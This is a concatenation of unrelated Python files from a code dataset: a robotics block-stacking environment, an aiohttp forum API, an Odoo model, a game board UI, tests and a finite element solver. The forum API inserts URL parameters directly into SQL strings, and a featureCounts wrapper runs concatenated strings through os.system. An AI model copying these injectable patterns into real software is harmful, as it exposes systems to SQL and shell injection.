uniform(-var, var), 0.7 - uniform(-var, var), 0.43, 1., 0., 0., 0.],\n 'object4:joint': [1.25 - uniform(-var, var), 0.7 - uniform(-var, var), 0.43, 1., 0., 0., 0.],\n 'object5:joint': [1.25 - uniform(-var, var), 0.7 - uniform(-var, var), 0.43, 1., 0., 0., 0.],\n }\n fetch_env.FetchEnv.__init__(\n self, 'fetch/block_stacking.xml', has_object=True, block_gripper=False, n_substeps=20,\n gripper_extra_height=0.2, target_in_the_air=True, target_offset=0.0,\n obj_range=0.15, target_range=0.15, distance_threshold=0.05,\n initial_qpos=initial_qpos, reward_type=reward_type)\n utils.EzPickle.__init__(self)\n\n # print(\"com of object 0\", self.sim.data.get_site_xpos('object0'))\n # print(\"com of object 1\", self.sim.data.get_site_xpos('object1'))\n # print(\"com of object 2\", self.sim.data.get_site_xpos('object2'))\n\n print(\"body com of table\", self.sim.data.get_body_xipos('table0'))\n\n def compute_reward(self, achieved_goal, goal, info):\n \"\"\"Compute sparse reward in block stacking task\"\"\"\n global BLOCK_HEIGHT\n\n g = np.split(goal, 6)\n x = np.split(achieved_goal, 6)\n\n reward = 0\n for i in range(6):\n d = goal_distance(x[i], g[i])\n\n if d < delta:\n reward += 1\n else:\n break\n\n return reward\n\n\n # RobotEnv methods\n # ----------------------------\n\n def _get_obs(self):\n # positions\n grip_pos = self.sim.data.get_site_xpos('robot0:grip')\n dt = self.sim.nsubsteps * self.sim.model.opt.timestep\n grip_velp = self.sim.data.get_site_xvelp('robot0:grip') * dt\n robot_qpos, robot_qvel = robot_utils.robot_get_obs(self.sim)\n\n # object informations\n # object0\n object_pos_A = self.sim.data.get_site_xpos('object0')\n # rotations\n object_rot_A = rotations.mat2euler(self.sim.data.get_site_xmat('object0'))\n # velocities\n object_velp_A = self.sim.data.get_site_xvelp('object0') * dt\n object_velr_A = self.sim.data.get_site_xvelr('object0') * dt\n # gripper state\n object_rel_pos_A = object_pos_A - grip_pos\n object_velp_A -= grip_velp\n\n # object1\n object_pos_B = self.sim.data.get_site_xpos('object1')\n # rotations\n object_rot_B = rotations.mat2euler(self.sim.data.get_site_xmat('object1'))\n # velocities\n object_velp_B = self.sim.data.get_site_xvelp('object1') * dt\n object_velr_B = self.sim.data.get_site_xvelr('object1') * dt\n # gripper state\n object_rel_pos_B = object_pos_B - grip_pos\n object_velp_B -= grip_velp\n\n # object2\n object_pos_C = self.sim.data.get_site_xpos('object2')\n # rotations\n object_rot_C = rotations.mat2euler(self.sim.data.get_site_xmat('object2'))\n # velocities\n object_velp_C = self.sim.data.get_site_xvelp('object2') * dt\n object_velr_C = self.sim.data.get_site_xvelr('object2') * dt\n # gripper state\n object_rel_pos_C = object_pos_C - grip_pos\n object_velp_C -= grip_velp\n\n # object3\n object_pos_D = self.sim.data.get_site_xpos('object3')\n # rotations\n object_rot_D = rotations.mat2euler(self.sim.data.get_site_xmat('object3'))\n # velocities\n object_velp_D = self.sim.data.get_site_xvelp('object3') * dt\n object_velr_D = self.sim.data.get_site_xvelr('object3') * dt\n # gripper state\n object_rel_pos_D = object_pos_D - grip_pos\n object_velp_D -= grip_velp\n\n # object4\n object_pos_E = self.sim.data.get_site_xpos('object4')\n # rotations\n object_rot_E = rotations.mat2euler(self.sim.data.get_site_xmat('object4'))\n # velocities\n object_velp_E = self.sim.data.get_site_xvelp('object4') * dt\n object_velr_E = self.sim.data.get_site_xvelr('object4') * dt\n # gripper state\n object_rel_pos_E = object_pos_E - grip_pos\n object_velp_E -= grip_velp\n\n # object5\n object_pos_F = self.sim.data.get_site_xpos('object5')\n # rotations\n object_rot_F = rotations.mat2euler(self.sim.data.get_site_xmat('object5'))\n # velocities\n object_velp_F = self.sim.data.get_site_xvelp('object5') * dt\n object_velr_F = self.sim.data.get_site_xvelr('object5') * dt\n # gripper state\n object_rel_pos_F = object_pos_F - grip_pos\n object_velp_F -= grip_velp\n\n gripper_state = robot_qpos[-2:]\n gripper_vel = robot_qvel[-2:] * dt # change to a scalar if the gripper is made symmetric\n\n object_pos = np.concatenate([\n object_pos_A, object_pos_B, object_pos_C,\n object_pos_D, object_pos_E, object_pos_F,\n ])\n\n object_rel_pos = np.concatenate([\n object_rel_pos_A, object_rel_pos_B, object_rel_pos_C,\n object_rel_pos_D, object_rel_pos_E, object_rel_pos_F,\n ])\n\n object_rot = np.concatenate([\n object_rot_A, object_rot_B, object_rot_C,\n object_rot_D, object_rot_E, object_rot_F,\n ])\n\n object_velp = np.concatenate([\n object_velp_A, object_velp_B, object_velp_C,\n object_velp_D, object_velp_E, object_velp_F,\n ])\n\n object_velr = np.concatenate([\n object_velr_A, object_velr_B, object_velr_C,\n object_velr_D, object_velr_E, object_velr_F,\n ])\n\n achieved_goal = np.squeeze(object_pos.copy())\n obs = np.concatenate([\n grip_pos, object_pos.ravel(), object_rel_pos.ravel(), gripper_state, object_rot.ravel(),\n object_velp.ravel(), object_velr.ravel(), grip_velp, gripper_vel,\n ])\n\n return {\n 'observation': obs.copy(),\n 'achieved_goal': achieved_goal.copy(),\n 'desired_goal': self.goal.copy(),\n }\n\n def _sample_goal(self):\n \"\"\"\n sample goal\n g_0 = x_0 and\n g_i = g_{i-1} + [0, 0, height of block]\n \"\"\"\n global BLOCK_HEIGHT\n\n g = [None for _ in range(6)]\n g[0] = self.sim.data.get_site_xpos('object0')\n\n for i in range(1, 6):\n g[i] = g[i-1] + np.array([0, 0, BLOCK_HEIGHT])\n\n return np.concatenate(g)\n","sub_path":"gym/envs/robotics/fetch/block_stacking.py","file_name":"block_stacking.py","file_ext":"py","file_size_in_byte":7399,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"320643827","text":"import os \r\n\r\n\r\nfc = \"featureCounts\"\r\ns =\" \"\r\np = \"-p\" # paired -end\r\nlarget = \"-T\" #thread\r\no = \"-o\" # output file\r\na = \"-a\" # annotation file\r\ng = \"-g gene_id\"\r\nsmallt = \"-t exon\"\r\nbam = \"STAR_map/testSample_Aligned.sortedByCoord.out.bam\"\r\n\r\ndef getFC(path, core, gtf , output):\r\n try: \r\n mkdir = path + \"FeatureCounts\"\r\n os.makedirs(mkdir)\r\n #print(mkdir)\r\n cmd = fc + s + p + s + smallt + s + g + s + larget + s + core + s + a + s + gtf + s + o + s + mkdir + '/' +output + s + path + bam\r\n print(cmd)\r\n os.system(cmd)\r\n except FileExistsError:\r\n # dir already exists..\r\n #os.system(\"rm -d \" + mkdir)\r\n print(\"featureCounts dir already exists..\\n\")\r\n pass\r\n \r\n\r\n\r\n#featureCounts -T 4 -s 2 -a -o ","sub_path":"featureCount.py","file_name":"featureCount.py","file_ext":"py","file_size_in_byte":831,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"595332663","text":"import json\n\nfrom watson.tone_analyzer import ToneAnalyzer \n\nclass Analysis(object):\n def words_per_minute(self, transcript, duration):\n if duration == 0:\n return 0\n else:\n trans_list = transcript.split()\n \n words_per_minute = float(len(trans_list) * 60) / float(duration)\n return round(words_per_minute, 2)\n\n def num_occurences(self, transcript, find_word_list):\n trans_list = transcript.split()\n count = 0\n \n for word in trans_list:\n if word in find_word_list:\n count += 1\n\n return count\n\n def num_char_per_word(self, transcript, char_to_find):\n trans_list = transcript.split()\n count = 0\n \n for word in trans_list:\n if char_to_find in word:\n count += 1\n\n return count\n\n def discovery_analysis(self, transcript, pitch):\n analysis_concepts = ''\n trans_list = transcript.split()\n concept_analysis = {}\n\n if pitch.related_concepts:\n concepts = (\" \".join(json.loads(pitch.related_concepts)).lower()).split()\n for word in trans_list:\n if word in concepts:\n concept_analysis[word] = concept_analysis.get(word, 0) + 1\n \n analysis_concepts = json.dumps(concept_analysis)\n\n return analysis_concepts\n\n def tone_anaysis(self, transcript):\n ta = ToneAnalyzer()\n\n return ta.analyzeTone(transcript)\n\n def contains_name(self, transcript, name):\n if name in transcript:\n return True\n else:\n for _name in name.split(\" \"):\n if _name in transcript:\n return True\n\n return False\n","sub_path":"app/server/helpers/analysis.py","file_name":"analysis.py","file_ext":"py","file_size_in_byte":1773,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"636015051","text":"from ui.widgets import board_segment\nfrom ui.stylings import BACKGROUND\n\nclass GameBoard:\n \"\"\"Class that describes a game board entity.\n\n Attributes:\n service (class): The current services class entity.\n canvas (widget): A tkinter canvas widget.\n category_colors (list): List of category colors.\n \"\"\"\n\n def __init__(self, service, canvas, category_colors):\n \"\"\"Class constructor that initializes new game board for the game view window.\n The board is drawn on a tkinter canvas widget.\n\n Args:\n service (class): The current services class entity.\n canvas (widget): A tkinter canvas widget.\n category_colors (list): List of category colors.\n \"\"\"\n\n self.service = service\n self.canvas = canvas\n self.colors = category_colors\n self.categories = self.service.categories\n self.segments = self.service.calculate_number_of_segments()\n self.size = self.service.calculate_segment_size()\n self.category_places = self.service.get_category_places()\n self._draw_segments()\n self._draw_center()\n\n def _draw_segments(self):\n \"\"\"Draws the segments dynamically based on given information.\n The unique category is drawn first, then the rest are drawn by two loops.\"\"\"\n\n board_segment(self.canvas, 0, self.size, self.colors[0])\n segment_counter = 1\n while segment_counter < self.segments:\n i = 0\n while len(self.categories[1:]) >= i+1:\n if segment_counter in self.category_places[i]:\n distance = self.size * segment_counter\n board_segment(self.canvas, distance, self.size, self.colors[i+1])\n i += 1\n segment_counter += 1\n\n def _draw_center(self):\n \"\"\"Draws a circle onto the center of the canvas\n to help form the game board's shape.\"\"\"\n\n self.canvas.create_oval(100, 100, 620, 620, fill=BACKGROUND, width=3)\n","sub_path":"src/ui/game_view_elements/game_board.py","file_name":"game_board.py","file_ext":"py","file_size_in_byte":2009,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"535388698","text":"# -*- coding: utf-8 -*-\n\nfrom odoo import models, fields, api, _\nfrom odoo.exceptions import UserError, ValidationError\nimport datetime\n\nclass Picking( models.Model ) :\n _inherit = \"stock.picking\"\n\n date_j_1 = fields.Datetime(\n string = _( \"Day - 1\" )\n )\n\n date_j = fields.Datetime( \n string = _( \"Day D\" )\n )\n\n date_disponibility = fields.Date( \n string = _(\"Estimated Disponibility Date\"),\n translate = True,\n default = \"2050-01-01\"\n )\n\n @api.model\n def create(self, vals):\n # Test if we have origin in the values given, can not be set if the picking is created from another method\n if 'origin' in vals:\n date_to_use = False\n sale_order_id = self.env['sale.order'].search([('name', '=', vals['origin'])])\n purchase_order_id = self.env['purchase.order'].search([('name', '=', vals['origin'])])\n if sale_order_id:\n date_to_use = sale_order_id.date_disponibility\n elif purchase_order_id:\n date_to_use = purchase_order_id.date_disponibility\n\n if date_to_use:\n vals['date_disponibility'] = date_to_use\n vals['date_j_1'] = datetime.datetime.combine(\n (date_to_use - datetime.timedelta(days=2)),\n datetime.time(22,59,00))\n\n vals['date_j'] = datetime.datetime.combine(\n date_to_use, datetime.time(22,59,00))\n\n return super(Picking, self).create(vals)\n","sub_path":"product_disponibility/models/stock_picking.py","file_name":"stock_picking.py","file_ext":"py","file_size_in_byte":1531,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"101115817","text":"# import asyncpg\nfrom aiohttp import web\nfrom models.forum import Forum\nfrom .timer import logger, DEBUG\nimport time\nimport psycopg2\nfrom psycopg2 import extras\nfrom psycopg2 import errorcodes\n\n\nroutes = web.RouteTableDef()\n\n\n@routes.post('/api/forum/create', expect_handler=web.Request.json)\n@logger\nasync def handle_forum_create(request):\n\n data = await request.json()\n forum = Forum(**data)\n\n connection_pool = request.app['pool']\n connection = connection_pool.getconn()\n cursor = connection.cursor(cursor_factory=psycopg2.extras.RealDictCursor)\n\n try:\n cursor.execute(forum.query_create_forum())\n connection.commit()\n except psycopg2.Error as e:\n connection.rollback()\n error = psycopg2.errorcodes.lookup(e.pgcode)\n if error == 'UNIQUE_VIOLATION':\n cursor.execute(Forum.query_get_forum(forum.slug))\n result = cursor.fetchone()\n connection_pool.putconn(connection)\n return web.json_response(status=409, data=result)\n\n if error == 'FOREIGN_KEY_VIOLATION':\n connection_pool.putconn(connection)\n return web.json_response(status=404, data={\"message\": \"Can't find user by nickname \" + forum.user})\n else:\n connection_pool.putconn(connection)\n return web.json_response(status=404, data={\"message\": str(e), \"code\": error})\n\n else:\n cursor.execute(Forum.query_get_forum(forum.slug))\n result = cursor.fetchone()\n connection_pool.putconn(connection)\n return web.json_response(status=201, data=result)\n\n\n@routes.get('/api/forum/{slug}/details')\n@logger\nasync def handle_get(request):\n\n slug = request.match_info['slug']\n\n connection_pool = request.app['pool']\n connection = connection_pool.getconn()\n cursor = connection.cursor(cursor_factory=psycopg2.extras.RealDictCursor)\n\n cursor.execute(Forum.query_get_forum(slug))\n\n result = cursor.fetchone()\n connection_pool.putconn(connection)\n if result:\n return web.json_response(status=200, data=result)\n else:\n return web.json_response(status=404, data={\"message\": \"Can't find user by nickname \" + slug})\n\n\n\n@routes.get('/api/forum/{slug}/users')\n@logger\nasync def handle_get_users(request):\n slug = request.match_info['slug']\n limit = request.rel_url.query.get('limit', False)\n desc = request.rel_url.query.get('desc', False)\n since = request.rel_url.query.get('since', False)\n\n connection_pool = request.app['pool']\n connection = connection_pool.getconn()\n cursor = connection.cursor(cursor_factory=psycopg2.extras.RealDictCursor)\n\n cursor.execute(Forum.query_get_users(slug, limit=limit, desc=desc, since=since))\n users = cursor.fetchall()\n\n if not users:\n cursor.execute(\"SELECT slug FROM forum WHERE slug = '{}'\".format(slug)) # TODO: check\n result = cursor.fetchone()\n connection_pool.putconn(connection)\n if not result:\n return web.json_response(status=404, data={\"message\": \"Can't find forum by slug \" + slug})\n return web.json_response(status=200, data=[])\n connection_pool.putconn(connection)\n return web.json_response(status=200, data=users)\n\n\n@routes.get('/api/service/status')\n@logger\nasync def handle_get(request):\n connection_pool = request.app['pool']\n connection = connection_pool.getconn()\n cursor = connection.cursor(cursor_factory=psycopg2.extras.RealDictCursor)\n\n cursor.execute('''\n\t\t\tSELECT * FROM \n\t\t\t\t(SELECT COUNT(*) AS \"forum\" FROM forum) AS \"f\",\n\t\t\t\t(SELECT COUNT(*) AS \"thread\" FROM thread) AS \"t\",\n\t\t\t\t(SELECT COUNT(*) AS \"post\" FROM post) AS \"p\",\n\t\t\t\t(SELECT COUNT(*) AS \"user\" FROM users) AS \"u\"\n\t\t''')\n result = cursor.fetchone()\n connection_pool.putconn(connection)\n return web.json_response(status=200, data=result)\n\n\n@routes.post('/api/service/clear')\n@logger\nasync def handle_get(request):\n connection_pool = request.app['pool']\n connection = connection_pool.getconn()\n cursor = connection.cursor(cursor_factory=psycopg2.extras.RealDictCursor)\n\n cursor.execute(\"TRUNCATE post, vote, thread, forum, users;\")\n connection.commit()\n connection_pool.putconn(connection)\n return web.json_response(status=200)\n","sub_path":"DB_API/server/routes/forum.py","file_name":"forum.py","file_ext":"py","file_size_in_byte":4235,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"267244401","text":"import unittest\nimport sys\nfrom consolidator import Consolidator\n \nclass TestConsolidatorFunctions(unittest.TestCase):\n def setUp(self):\n self.cons0 = Consolidator('./input/0')\n self.cons1 = Consolidator('./input/1')\n self.cons2 = Consolidator('./input/2')\n self.cons3 = Consolidator('./input/3')\n self.cons4 = Consolidator('./input/4')\n self.cons5 = Consolidator('./input/5')\n \n def test_initialize(self):\n graph = self.cons0._graph\n self.assertEqual(graph.keys(), [\"A\", \"B\"])\n self.assertEqual(graph.values(), [[\"B\"], [\"C\"]])\n \n def test_one_child(self):\n output0 = self.cons0.one_child()\n output1 = self.cons1.one_child()\n output2 = self.cons2.one_child()\n self.assertItemsEqual(['A', 'B'], output0)\n self.assertItemsEqual(['B', 'D'], output1)\n self.assertItemsEqual(['A', 'B', 'C', 'D'], output2)\n \n def test_one_parent(self):\n output0 = self.cons0.one_parent()\n output1 = self.cons1.one_parent()\n output2 = self.cons2.one_parent()\n self.assertItemsEqual(['B', 'C'], output0)\n self.assertItemsEqual(['B', 'D'], output1)\n self.assertItemsEqual(['A', 'B', 'C', 'D'], output2)\n \n def test_final_prune(self):\n output0 = self.cons0.final_prune()\n output1 = self.cons1.final_prune()\n output2 = self.cons2.final_prune()\n self.assertItemsEqual(['B'], output0)\n self.assertItemsEqual(['B', 'D'], output1)\n self.assertItemsEqual(['A', 'B', 'C', 'D'], output2)\n \n def test_prunable_child(self):\n output1 = self.cons0.prunable_child('B')\n self.assertEqual(output1, 'A')\n \n def test_prunable_parent(self):\n output0 = self.cons0.prunable_parent('B')\n self.assertEqual(output0, 'C')\n \n def test_generate_new_graph(self):\n output5 = self.cons5.generate_new_graph()\n self.assertItemsEqual(output5, {'B': ['D'], 'E': ['F', 'G'], 'D': ['E'], 'G': ['H', 'B']})\n \n def test_output(self):\n output = self.cons0.output()\n self.assertEqual(['A\\tC\\n'], output)\n \nif __name__ == '__main__':\n testsuite = unittest.TestLoader().discover('.')\n unittest.TextTestRunner(verbosity=2).run(testsuite)\n","sub_path":"test_consolidator.py","file_name":"test_consolidator.py","file_ext":"py","file_size_in_byte":2190,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"503558553","text":"'''\r\nCreated on 8 avr. 2015\r\n\r\n@author: deresz\r\n'''\r\nfrom collect import log\r\nimport os,re\r\n\r\nclass Collector:\r\n def __init__(self, config):\r\n log(\"initializing class %s\" % self.__class__.__name__)\r\n self.config = config\r\n # python madness ...\r\n self.sysroot = re.sub(r'\\\\', r'\\\\\\\\', os.environ['SYSTEMROOT'])\r\n if os.path.exists(\"%s\\\\SysNative\" % self.sysroot):\r\n self.is_64os = True\r\n self.sysnative = \"%s\\\\SysNative\" % self.sysroot\r\n else:\r\n self.is_64os = False\r\n self.sysnative = \"%s\\\\System32\" % self.sysroot\r\n\r\n def log(self, msg):\r\n log(\"%s: %s\" % (self.__class__.__name__, msg))\r\n\r\n def debug(self, msg):\r\n if self.config['debug']:\r\n log(\"%s: %s\" % (self.__class__.__name__, msg))\r\n\r\n def mkoutdir(self, dirname):\r\n if not os.path.exists(dirname):\r\n os.mkdir(dirname)\r\n","sub_path":"collectors/collector.py","file_name":"collector.py","file_ext":"py","file_size_in_byte":919,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"604362327","text":"import numpy as num\nfrom matplotlib import pyplot as plott\nimport sympy as sym\n\n\n'''\nSolves the equation \\nabla u=f(x,y) using the Finite Element method. \n\nThis Finite Element code uses symbollic math instead of numeric math by implementing\nthe sympy library. \n\nThis Code solves for the functional of the equation then establishes \nboundary conditions and solves.\n\nMost of the concepts for this code were taken from The Finite Element for Scientists\nand Engineers, ISBN 0-471-37078-9. As such, I have enumerated the steps of the finite element\nmethod as labeled in that book, within the comments of the program. Unlike the book, however, this \nexample is in two dimensions instead of just one. The functional for a two-dimensional\ndifferential equation problem was taken from Partial Differential Equations for Scientists and \nEngineers, ISBN 0-486-67620-X. \n'''\n\n#The boundary goes from 0 to 1. Pick the number of grid points to increase or decrease \n#the accuracy (but also computation) of the algorithm. \n\nlow_boundary = 0 # The lower boundary of the graph\nhigh_boundary = 1 # The upper boundary of the graph\ngrid_points = 3 # The number of nodes that exist along the axes of the boundary (inclusive)\n\n#1. Discretize the system.\nnumber_of_divisions = (high_boundary - low_boundary) * grid_points #each quadrant will have the same number of nodes in it\n\nx_range = num.linspace(low_boundary,high_boundary,number_of_divisions)\ny_range = num.linspace(low_boundary,high_boundary,number_of_divisions)\n\nelement_range = number_of_divisions - 1\n\nx_range_reduced = x_range[0:len(x_range) - 1] + num.diff(x_range)/2\nx_range_reduced = x_range[0:len(x_range) - 1] + num.diff(x_range)/2\n\n# print(x_range)\n# print(x_range_reduced)\n\n\nXGrid,YGrid = num.meshgrid(x_range, y_range) #Discretize the space into rectangular elements.\n\nX_Grid_shift_1 = num.delete(XGrid, len(XGrid) - 1,1) + num.diff(x_range)[0]/2\nY_Grid_shift_1 = num.delete(YGrid, len(YGrid) - 1,1)\n\nX_Grid_shift_1 = num.transpose(X_Grid_shift_1)\nY_Grid_shift_1 = num.transpose(Y_Grid_shift_1)\n\n\nX_Grid_shift_2 = num.delete(XGrid, len(XGrid) - 1,0)\nY_Grid_shift_2 = num.delete(YGrid, len(YGrid) - 1,0) + num.diff(y_range)[0]/2\n\n\nXGrid_expanded = num.concatenate((XGrid,X_Grid_shift_1,X_Grid_shift_2),0)\nYGrid_expanded = num.concatenate((YGrid,Y_Grid_shift_1,Y_Grid_shift_2),0)\n\n\n# print(sym.latex(sym.Matrix(XGrid_expanded)))\n# print(sym.latex(sym.Matrix(YGrid_expanded)))\n\nvalue_pairs = [[XGrid_expanded[rowcounter][columncounter],YGrid_expanded[rowcounter][columncounter]] for rowcounter in range(len(XGrid_expanded)) for columncounter in range(len(XGrid_expanded[0]))]\npairs_x = [XGrid_expanded[rowcounter][columncounter] for rowcounter in range(len(XGrid_expanded)) for columncounter in range(len(XGrid_expanded[0]))]\npairs_y = [YGrid_expanded[rowcounter][columncounter] for rowcounter in range(len(XGrid_expanded)) for columncounter in range(len(XGrid_expanded[0]))]\n# \n# plott.scatter(pairs_x,pairs_y)\n# \n# for pair_index, pair in enumerate(value_pairs):\n# plott.text(pair[0] + .02, pair[1], str(pair_index))\n# \n# \n# plott.show()\n\n \n# print(sym.latex(sym.Matrix(value_pairs)))\nz_matrix = [sym.symbols('z_' + str(counter)) for counter in range(len(value_pairs))]\n\n#This labels all the \"nodes\" in the system. Each node is a sympy variable that will be solved\n\n\n#Variables to be used in the calculation. \nx, y, f= sym.symbols('x y f')\nx0,y0,y1,x1,phi0,phix,phiy = sym.symbols('x_0 y_0 y_1 x_1 phi_0 phi_x phi_y')\nphixx,phiyy = sym.symbols('phi_xx phi_yy')\nx2,y2 = sym.symbols('x2 y2')\n\ntrial_function = (1 - x**2) * (1 - y**2) \n\n\n#2. Set up The Element Parameters\n\nax,bx,ay,by,c = sym.symbols('a_x b_x a_y b_y c')\n#This creates the template element by approximating it as a plane. \neq1 = sym.Eq(phi0, ax * x0**2 + bx * x0 + ay * y0**2 + by * y0 + c)\neq2 = sym.Eq(phix, ax * x1**2 + bx * x1 + ay * y0**2 + by * y0 + c)\neq3 = sym.Eq(phixx, ax * x2**2 + bx * x2 + ay * y0**2 + by * y0 + c)\neq4 = sym.Eq(phiy, ax * x0**2 + bx * x0 + ay * y1**2 + by * y1 + c)\neq5 = sym.Eq(phiyy, ax * x0**2 + bx * x0 + ay * y2**2 + by * y2 + c)\nresult = sym.nonlinsolve([eq1,eq2,eq3,eq4,eq5],[ax,ay,bx,by,c])\n\n# print(sym.latex(result))\nphi_final = result.args[0][0] * x**2 + result.args[0][1] * y**2 + result.args[0][2] * x + result.args[0][3] * y + result.args[0][4] \n\nphi_solve_vars = [phi0,phix,phixx,phiy,phiyy]\n\nphi_poly = sym.Poly(phi_final,phi_solve_vars)\n\n# print(sym.latex(phi_poly.as_expr()))\n\ninterpolation_functions = [phi_poly.as_expr().coeff(val) for val in phi_solve_vars]\n\n\n# print(sym.latex(sym.Matrix(interpolation_functions)))\n\n# print(sym.latex(phi_final))\nf = -1 # This is the equation being solved\n\nphi_solved = sym.diff(phi_final,x,x) + sym.diff(phi_final,y,y)\nresidual = phi_solved - f\n# print(sym.latex(sym.Matrix(phi_solved)))\n\nweighted_averages = [sym.integrate(sym.integrate(residual * func,(x,x0,x2)),(y,y0,y2)) for func in interpolation_functions]\n\n#3. Compute the Element Matrices. \nvar_list = []\nsolution_equations = []\n\n#Each set of three points forms a right triangle. The triangles are solved and made into a matrix. \nfor xcounter in range(number_of_divisions):\n for ycounter in range(number_of_divisions):\n print(\"Iteration \" + str(xcounter) + \" \" + str(ycounter) + \" of \" + str(element_range) + \" \" + str(element_range))\n\n \n phi0_element = 0\n phix_element = 0\n phixx_element = 0\n phiy_element = 0\n phiyy_element = 0\n\n if xcounter < element_range and ycounter < element_range:\n print('Solving Upward')\n solution_list = []\n var_row = []\n \n x_max = XGrid[ycounter][xcounter + 1]\n x_min = XGrid[ycounter][xcounter]\n\n y_max = YGrid[ycounter +1][xcounter]\n y_min = YGrid[ycounter][xcounter]\n\n\n for pair_index, pair in enumerate(value_pairs):\n if pair[0] == x_min and pair[1] == y_min:\n phi0_element = z_matrix[pair_index]\n elif pair[0] == x_min and pair[1] == y_max:\n phiyy_element = z_matrix[pair_index]\n elif pair[0] == x_max and pair[1] == y_min:\n phixx_element = z_matrix[pair_index]\n elif pair[0] == x_min and pair[1] > y_min and pair[1] < y_max:\n phiy_element = z_matrix[pair_index]\n elif pair[0] > x_min and pair[0] < x_max and pair[1] == y_min:\n phix_element = z_matrix[pair_index]\n\n\n for average in weighted_averages:\n \n average_subs = average.subs(x0,x_min).subs(x2,x_max).subs(y0,y_min).subs(y2,y_max)\n average_subs = average_subs.subs(x1, num.average([x_min,x_max])).subs(y1, num.average([y_min,y_max]))\n average_subs = average_subs.subs(phi0,phi0_element).subs(phix,phix_element).subs(phiy, phiy_element)\n average_subs = average_subs.subs(phixx,phixx_element).subs(phiyy,phiyy_element)\n solution_list.append(average_subs)\n \n var_list.append([phi0_element,phix_element,phixx_element,phiy_element,phiyy_element])\n solution_equations.append(solution_list)\n\n \n #If not on a lower boundary, make a right triangle in the -x -y direction. \n if xcounter > 0 and ycounter > 0 : \n print('Solving Downward')\n solution_list = []\n x_max = XGrid[ycounter][xcounter - 1]\n x_min = XGrid[ycounter][xcounter]\n \n y_max = YGrid[ycounter - 1][xcounter]\n y_min = YGrid[ycounter][xcounter]\n \n for pair_index, pair in enumerate(value_pairs):\n if pair[0] == x_min and pair[1] == y_min:\n phi0_element = z_matrix[pair_index]\n elif pair[0] == x_min and pair[1] == y_max:\n phiyy_element = z_matrix[pair_index]\n elif pair[0] == x_max and pair[1] == y_min:\n phixx_element = z_matrix[pair_index]\n elif pair[0] == x_min and pair[1] < y_min and pair[1] > y_max:\n phiy_element = z_matrix[pair_index]\n elif pair[0] < x_min and pair[0] > x_max and pair[1] == y_min:\n phix_element = z_matrix[pair_index]\n\n for average in weighted_averages:\n \n average_subs = average.subs(x0,x_min).subs(x2,x_max).subs(y0,y_min).subs(y2,y_max)\n average_subs = average_subs.subs(x1, num.average([x_min,x_max])).subs(y1, num.average([y_min,y_max]))\n average_subs = average_subs.subs(phi0,phi0_element).subs(phix,phix_element).subs(phiy, phiy_element)\n average_subs = average_subs.subs(phixx,phixx_element).subs(phiyy,phiyy_element)\n\n \n solution_list.append(average_subs)\n \n var_list.append([phi0_element,phix_element,phixx_element,phiy_element,phiyy_element])\n solution_equations.append(solution_list)\n\n\n#4. Assemble the element equations into a global matrix. \n#This sets of a global system of equations and the list of unknown variables to be solved\nz_vars = z_matrix\n# print(sym.latex(sym.Matrix(solution_equations)))\n# print(sym.latex(sym.Matrix(z_vars)))\n# print(sym.latex(sym.Matrix(var_list)))\n# print(\"============================================================================================\")\nequation_system = [0 for counter in z_matrix]\n\n#This loop assembles each of the individual element equations into the global list of equations.\nfor solution_counter in range(len(solution_equations)):\n for eq_counter in range(len(solution_equations[solution_counter])):\n\n equation_system[z_vars.index(var_list[solution_counter][eq_counter])] += solution_equations[solution_counter][eq_counter]\n\n# print(sym.latex(sym.Matrix(equation_system)))\n\n#5. Impose Boundary conditions. Zero at x = 1 and y = 1. This replaces all of the nodes in those positions with zeros.\nzero_vals = []\nfor pair_index, pair in enumerate(value_pairs):\n if pair[0] == 1 or pair[1] == 1:\n zero_vals.append(z_vars[pair_index])\n\n# print(sym.latex(sym.Matrix(zero_vals)))\nz_vars_boundary = []\n\n\n#Make the equations into a matrix to make them easier to solve. \n#5. Impose Boundary conditions. Zero at x = 1 and y = 1. This replaces all of the nodes in those positions with zeros.\nreplacement_eq = []\nfor equation in equation_system:\n eq = equation\n for each_var in zero_vals:\n eq = eq.subs(each_var,0)\n replacement_eq.append(eq)\n\n# print(sym.latex(sym.Matrix(replacement_eq)))\n#Conditions where the equation already solves to zero are a problem, because 0 = 0 will not evaluate\n#This replaces the boundary condition and sets a specific variable to 0 so it can be solved. \nboundary_eq_with_result = []\n\nfor z_index,variable in enumerate(z_vars):\n if variable not in zero_vals:\n \n boundary_eq_with_result.append(replacement_eq[z_index])\n else:\n boundary_eq_with_result.append(sym.Eq(variable,0))\n\n# print(sym.latex(sym.Matrix(boundary_eq_with_result)))\na = sym.linear_eq_to_matrix(boundary_eq_with_result,z_vars)\nprint(sym.latex(a))\n#6. Solve the System. Sympy linsolve makes short work of that. \nresultset = sym.linsolve(boundary_eq_with_result,z_vars)\n# print(sym.latex(sym.Matrix(boundary_eq_with_result)))\nprint(sym.latex(resultset))\n\n#7 Use the computed results to determine desired results. \n#In most FEA solutions, this would be stresses or fluid flow, but in this case, it's just the Z-Values.\nresult_vals = [resultset.args[0][counter] for counter in range(len(z_vars))]\n# print(sym.latex(sym.Matrix(result_vals)))\n\nresult_grid = num.zeros([len(XGrid_expanded),len(XGrid_expanded[0])])\n\n#Make a meshgrid with the Z-Values in it\n# varcount = 0\nfor zcounter in range(len(z_matrix)):\n for ycounter in range(len(XGrid_expanded)):\n for xcounter in range(len(XGrid_expanded[0])):\n if value_pairs[zcounter][0] == XGrid_expanded[ycounter][xcounter] and value_pairs[zcounter][1] == YGrid_expanded[ycounter][xcounter]:\n \n result_grid[ycounter][xcounter] += result_vals[zcounter]\n# varcount += 1\n\n#Plot the results\nplott.contourf(XGrid_expanded,YGrid_expanded,result_grid, 